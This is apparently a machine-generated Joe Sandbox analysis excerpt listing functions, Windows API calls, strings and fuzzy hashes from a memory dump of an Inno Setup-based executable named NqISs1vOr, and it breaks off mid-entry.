Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$A480A570CreateFontIndirect
String ID:
API String ID: 361401722-0
Opcode ID: 9352f0de83d2aa8ef3dc5e588d401a22e63a3fe7846e7c3b2a64ff92932535c4
Instruction ID: 79023d5d76270fc5b80a90959683f08304bbfc9b3a68a0d1de019d9dda53e89a
Opcode Fuzzy Hash: 9352f0de83d2aa8ef3dc5e588d401a22e63a3fe7846e7c3b2a64ff92932535c4
Instruction Fuzzy Hash: FE01C0A17087503BE311767A9CC6F6F65C8DB44358F84043BF686D63D3D9AC9C81876A

Function 0041DE1C Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,00419051,004980EA), ref: 0041DE1F
73A24620.GDI32(00000000,0000005A,00000000,?,00419051,004980EA), ref: 0041DE29
73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,?,00419051,004980EA), ref: 0041DE36
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DE45
GetStockObject.GDI32(00000007), ref: 0041DE53
GetStockObject.GDI32(00000005), ref: 0041DE5F
GetStockObject.GDI32(0000000D), ref: 0041DE6B
LoadIconA.USER32(00000000,00007F00), ref: 0041DE7C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ObjectStock$A24620A480A570IconLoad
String ID:
API String ID: 3573811560-0
Opcode ID: 710d086b1de04f4d575db38747d659360b557b0cb5838dc09f26a38d22fa0d7e
Instruction ID: 462cd7651d9f59a3c1518f9422d26db27efab3bc10fcb75ee14264e6343fb545
Opcode Fuzzy Hash: 710d086b1de04f4d575db38747d659360b557b0cb5838dc09f26a38d22fa0d7e
Instruction Fuzzy Hash: 0E11EC706456055AE340FFAA6A52BAA3695E724708F00813FF6099F3D1D77D2C444B9F

Function 00463068 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 0046316C
SetCursor.USER32(00000000,00000000,00007F02,00000000,00463201), ref: 00463172
SetCursor.USER32(?,004631E9,00007F02,00000000,00463201), ref: 004631DC

Strings

, xrefs: 00463402
, xrefs: 004633E7
Internal error: Item already expanding, xrefs: 00463109

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $Internal error: Item already expanding
API String ID: 1675784387-1948079669
Opcode ID: 18a8c92a23110e1585e61799d78ad50682638d437455fe8a8eac84c2222b077b
Instruction ID: 8c03ff8e54c482a295deb11cd31210a84b03b27930917a3eb50de1af6f5dfb0a
Opcode Fuzzy Hash: 18a8c92a23110e1585e61799d78ad50682638d437455fe8a8eac84c2222b077b
Instruction Fuzzy Hash: A7B1C430A00284DFD711DF69C589B9ABBF1FF04305F1484AAE8459B792EB78EE45CB19

Function 00453D04 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453DEB

Strings

WININIT.INI, xrefs: 00453D99
NUL, xrefs: 00453EAD
[rename], xrefs: 00453E4E, 00453E8A
.tmp, xrefs: 00453DA7
MoveFileEx, xrefs: 00453FFB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 7a42a0697151d0d5d2c191e5f1412612b4bf9d75eff795acc860741356bb7580
Instruction ID: 27719b604a15c88968755e1a1929315a4e70c7568c957628d41e5ea0e69e6a26
Opcode Fuzzy Hash: 7a42a0697151d0d5d2c191e5f1412612b4bf9d75eff795acc860741356bb7580
Instruction Fuzzy Hash: DD914434E001099BDF11EFA5D882BDEB7F5EF4834AF508066E90077292D778AE49CB58

Function 004766E4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200windowCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 0047673D
73A259E0.USER32(00000000,000000FC,00476698,00000000,0047697C,?,00000000,004769A6), ref: 00476764
GetACP.KERNEL32(00000000,0047697C,?,00000000,004769A6), ref: 004767A1
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 004767E7

Strings

COMBOBOX, xrefs: 00476736
Inno Setup: Language, xrefs: 0047686F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A259ClassInfoMessageSend
String ID: COMBOBOX$Inno Setup: Language
API String ID: 3217714596-4234151509
Opcode ID: c91c96764c9eb46afea8f4730bcae4c036a3e37d4e33096e95ae453515e7d384
Instruction ID: 91173772f4e079f50c7e0c6215708d31291a540b6063389a75a2ac3d3f1b2ee4
Opcode Fuzzy Hash: c91c96764c9eb46afea8f4730bcae4c036a3e37d4e33096e95ae453515e7d384
Instruction Fuzzy Hash: 68814074A006059FCB10EF69C985AEAB7F5FB09304F56C0BAE808E7362D734AD45CB59

Function 00408710 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408958,?,?,?,?,00000000,00000000,00000000,?,0040995F,00000000,00409972), ref: 0040872A

Part of subcall function 00408558: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408623,?,00000000,00408702), ref: 00408576

Part of subcall function 004085A4: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087A6,?,?,?,00000000,00408958), ref: 004085B7

Strings

mmmm d, yyyy, xrefs: 0040881B
:mm:ss, xrefs: 00408926
m/d/yy, xrefs: 004087F9
:mm, xrefs: 0040890C
AMPM, xrefs: 004088F5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: e4d4874023cbce5b0e58a93798fb9a357b254c43991a542c79008375c0b91d34
Instruction ID: acf8fabd4b29bc0114a799655761a3ccdfd58ddc6ec536e3fe46e21ad76a8ffd
Opcode Fuzzy Hash: e4d4874023cbce5b0e58a93798fb9a357b254c43991a542c79008375c0b91d34
Instruction Fuzzy Hash: 85515C24B001486BDB00FBA99E91A9E77A9DB84308F50C47FA151BB3C7CE3CDA05975D

Function 004116EC Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004118F1), ref: 00411784
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 00411842

Part of subcall function 00411AA4: CreatePopupMenu.USER32 ref: 00411ABE

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118CE

Part of subcall function 00411AA4: CreateMenu.USER32 ref: 00411AC8

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118B5

Strings

?, xrefs: 0041179E
,, xrefs: 00411797

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: e0c9a44165d56187b0795cac699610ea385af12d5fd7003569757b390febdefd
Instruction ID: d8c93b49542c4992b593f331124e59532eba8c65ca5fe63237d6ba0ca55a8ecc
Opcode Fuzzy Hash: e0c9a44165d56187b0795cac699610ea385af12d5fd7003569757b390febdefd
Instruction Fuzzy Hash: 9E510370A00245ABDB10EF6ADD816EA7BF9AF09304B15857BF904E73A2D738DD41CB58

Function 0041BE5B Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BF20
GetObjectA.GDI32(?,00000018,?), ref: 0041BF2F
GetBitmapBits.GDI32(?,?,?), ref: 0041BF80
GetBitmapBits.GDI32(?,?,?), ref: 0041BF8E
DeleteObject.GDI32(?), ref: 0041BF97
DeleteObject.GDI32(?), ref: 0041BFA0
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BFBD

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: a6b868a807f1f599719e52264ea8325182c659afeabb6b194134e5b91d426331
Instruction ID: 4619fcafd17693633a8c31a92518bd0abdf88944d34ea3f3446ff31194e2e661
Opcode Fuzzy Hash: a6b868a807f1f599719e52264ea8325182c659afeabb6b194134e5b91d426331
Instruction Fuzzy Hash: 48510375A00219AFCF10DFA9C8819EEB7F9EF48314B11856AF914E7391D738AD81CB64

Function 0041CED0 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON

Download Yara Rule

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CEF6
73A24620.GDI32(00000000,00000026), ref: 0041CF15
73A18830.GDI32(?,?,00000001,00000000,00000026), ref: 0041CF7B
73A122A0.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041CF8A
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CFF4
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D032
73A18830.GDI32(?,?,00000001,0041D064,00000000,00000026), ref: 0041D057

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Stretch$A18830$A122A24620BitsMode
String ID:
API String ID: 430401518-0
Opcode ID: c81279b313576d135e7f058ec71da99c22708ae42f226878f0d4e896de0476ba
Instruction ID: 9b717f45caa71cbdb3d7743a5068819f31981c945c02765ea0762fde20f1409d
Opcode Fuzzy Hash: c81279b313576d135e7f058ec71da99c22708ae42f226878f0d4e896de0476ba
Instruction Fuzzy Hash: 17513F70604204AFDB14DFA8C985F9BBBF9EF08304F14459AB545E7692C778ED81CB58

Function 004570FC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,?,?), ref: 0045714E

Part of subcall function 00424274: GetWindowTextA.USER32(?,?,00000100), ref: 00424294

Part of subcall function 0041EE9C: GetCurrentThreadId.KERNEL32 ref: 0041EEEB
Part of subcall function 0041EE9C: 73A25940.USER32(00000000,0041EE4C,00000000,00000000,0041EF08,?,00000000,0041EF3F,?,0042EEA8,?,00000001), ref: 0041EEF1

Part of subcall function 004242BC: SetWindowTextA.USER32(?,00000000), ref: 004242D4

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004571B5
TranslateMessage.USER32(?), ref: 004571D3
DispatchMessageA.USER32(?), ref: 004571DC

Strings

[Paused] , xrefs: 00457184

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Message$TextWindow$A25940CurrentDispatchSendThreadTranslate
String ID: [Paused]
API String ID: 3047529653-4230553315
Opcode ID: 80c4c27c4b754fe1519de729eb729efa4ffa2fc2b03d19605f480c373ee661fa
Instruction ID: 4dd0f6a69861fba71970a0c95394483262e0630457e8f7cd4854214566cc162d
Opcode Fuzzy Hash: 80c4c27c4b754fe1519de729eb729efa4ffa2fc2b03d19605f480c373ee661fa
Instruction Fuzzy Hash: EC3196319082449EDB11DFB5EC81B9E7FB8EB49314F5544BBF800E7292D63C9909CB69

Function 0046B240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99sleepCOMMON

Download Yara Rule

APIs

GetCursor.USER32(00000000,0046B37F), ref: 0046B2FC
LoadCursorA.USER32(00000000,00007F02), ref: 0046B30A
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046B37F), ref: 0046B310
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046B37F), ref: 0046B31A
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046B37F), ref: 0046B320

Strings

CheckPassword, xrefs: 0046B2A4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: c5bdf5f640806f8796bfbc41b1a4ab00d3ded5bef946e97f85f4201d994c149c
Instruction ID: dcef8ef75e700f151948083f515970cfb06be99f29bdf3d7051495a11b4a934f
Opcode Fuzzy Hash: c5bdf5f640806f8796bfbc41b1a4ab00d3ded5bef946e97f85f4201d994c149c
Instruction Fuzzy Hash: 9D3190347402049FD701EF69C899B9E7BE4EB49304F5580B6B904DB3A2E7789E80CB89

Function 00477700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00477628: GetWindowThreadProcessId.USER32(00000000), ref: 00477630
Part of subcall function 00477628: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00477727,0049C0A4,00000000), ref: 00477643
Part of subcall function 00477628: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00477649

SendMessageA.USER32(00000000,0000004A,00000000,00477ABA), ref: 00477735
GetTickCount.KERNEL32 ref: 0047777A
GetTickCount.KERNEL32 ref: 00477784
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 004777D9

Strings

CallSpawnServer: Unexpected response: $%x, xrefs: 0047776A
CallSpawnServer: Unexpected status: %d, xrefs: 004777C2

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
String ID: CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d
API String ID: 613034392-3771334282
Opcode ID: e1b07b7da0dc81f79c626057223c48b53da9c8a9430d466ab72b2e6b955821c4
Instruction ID: 5facb6da61392f64ef9a6a7cc904dffa3fea64199446eda4e4b81d1598b422a3
Opcode Fuzzy Hash: e1b07b7da0dc81f79c626057223c48b53da9c8a9430d466ab72b2e6b955821c4
Instruction Fuzzy Hash: 0131E474F042158ADF10EBB9C8467EEB6A09B08304F90807AB508EB382D67C5E01C79D

Function 004595A4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 0045965F

Strings

Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 0045966A
CreateAssemblyCache, xrefs: 00459656
Fusion.dll, xrefs: 004595FF
Failed to load .NET Framework DLL "%s", xrefs: 00459644
.NET Framework CreateAssemblyCache function failed, xrefs: 00459682

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc
String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
API String ID: 190572456-3990135632
Opcode ID: 6db9dd5a59cee9e125ea37fcdd1d071909f295375ba02b74572753309365d729
Instruction ID: ee3dd963a50cff277cc460556b086b348bcce4d3c12070cda944c03b6b96f9ce
Opcode Fuzzy Hash: 6db9dd5a59cee9e125ea37fcdd1d071909f295375ba02b74572753309365d729
Instruction Fuzzy Hash: 5D315771E00609EBCB01EFA5C88169EB7A5AF44315F50857BE814A7382DB7C9E09CB99

Function 0041C140 Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C040: GetObjectA.GDI32(?,00000018), ref: 0041C04D

GetFocus.USER32 ref: 0041C160
73A1A570.USER32(?), ref: 0041C16C
73A18830.GDI32(?,?,00000000,00000000,0041C1EB,?,?), ref: 0041C18D
73A122A0.GDI32(?,?,?,00000000,00000000,0041C1EB,?,?), ref: 0041C199
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C1B0
73A18830.GDI32(?,00000000,00000000,0041C1F2,?,?), ref: 0041C1D8
73A1A480.USER32(?,?,0041C1F2,?,?), ref: 0041C1E5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A18830$A122A480A570BitsFocusObject
String ID:
API String ID: 2231653193-0
Opcode ID: 9c9984a03792254f7cf3ad1787892f213a144d0a64db434cb782e1e94da2dcd6
Instruction ID: 42301c90dcb8571f5cbc3500225c3f0eaf81cc24073f805a24a28427ce123417
Opcode Fuzzy Hash: 9c9984a03792254f7cf3ad1787892f213a144d0a64db434cb782e1e94da2dcd6
Instruction Fuzzy Hash: D7116D71A44618BBDF00DBE9CC81FAFB7FCEB48700F14446AB518E7281DA3899008B28

Function 00418C4C Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000E), ref: 00418C68
GetSystemMetrics.USER32(0000000D), ref: 00418C70
6F532980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C76

Part of subcall function 004099A8: 6F52C400.COMCTL32(0049B628,000000FF,00000000,00418CA4,00000000,00418D00,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 004099AC

6F59CB00.COMCTL32(0049B628,00000000,00000000,00000000,00000000,00418D00,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418CC6
6F59C740.COMCTL32(00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D00,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418CD1
6F59CB00.COMCTL32(0049B628,00000001,?,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D00,?,00000000,0000000D,00000000), ref: 00418CE4
6F530860.COMCTL32(0049B628,00418D07,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D00,?,00000000,0000000D,00000000,0000000E), ref: 00418CFA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MetricsSystem$C400C740F530860F532980
String ID:
API String ID: 209721339-0
Opcode ID: 3e87c7a23a4a947163f4d2b90e583babc0fab05060521c53009111721e1cf9e6
Instruction ID: c5403bac5749a6cea20ad86aefc03aeb17a2f2ee6000d3a37742d6553dc7a201
Opcode Fuzzy Hash: 3e87c7a23a4a947163f4d2b90e583babc0fab05060521c53009111721e1cf9e6
Instruction Fuzzy Hash: 981124B1B44304BFDB10EBA9EC82F5E73B8DB48714F50406AB504EB2C2DAB99D408659

Function 00483228 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,004832E0), ref: 004832C5

Strings

LanmanNT, xrefs: 0048328F
System\CurrentControlSet\Control\ProductOptions, xrefs: 0048324C
ServerNT, xrefs: 004832A9
WinNT, xrefs: 00483275
ProductType, xrefs: 00483264

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
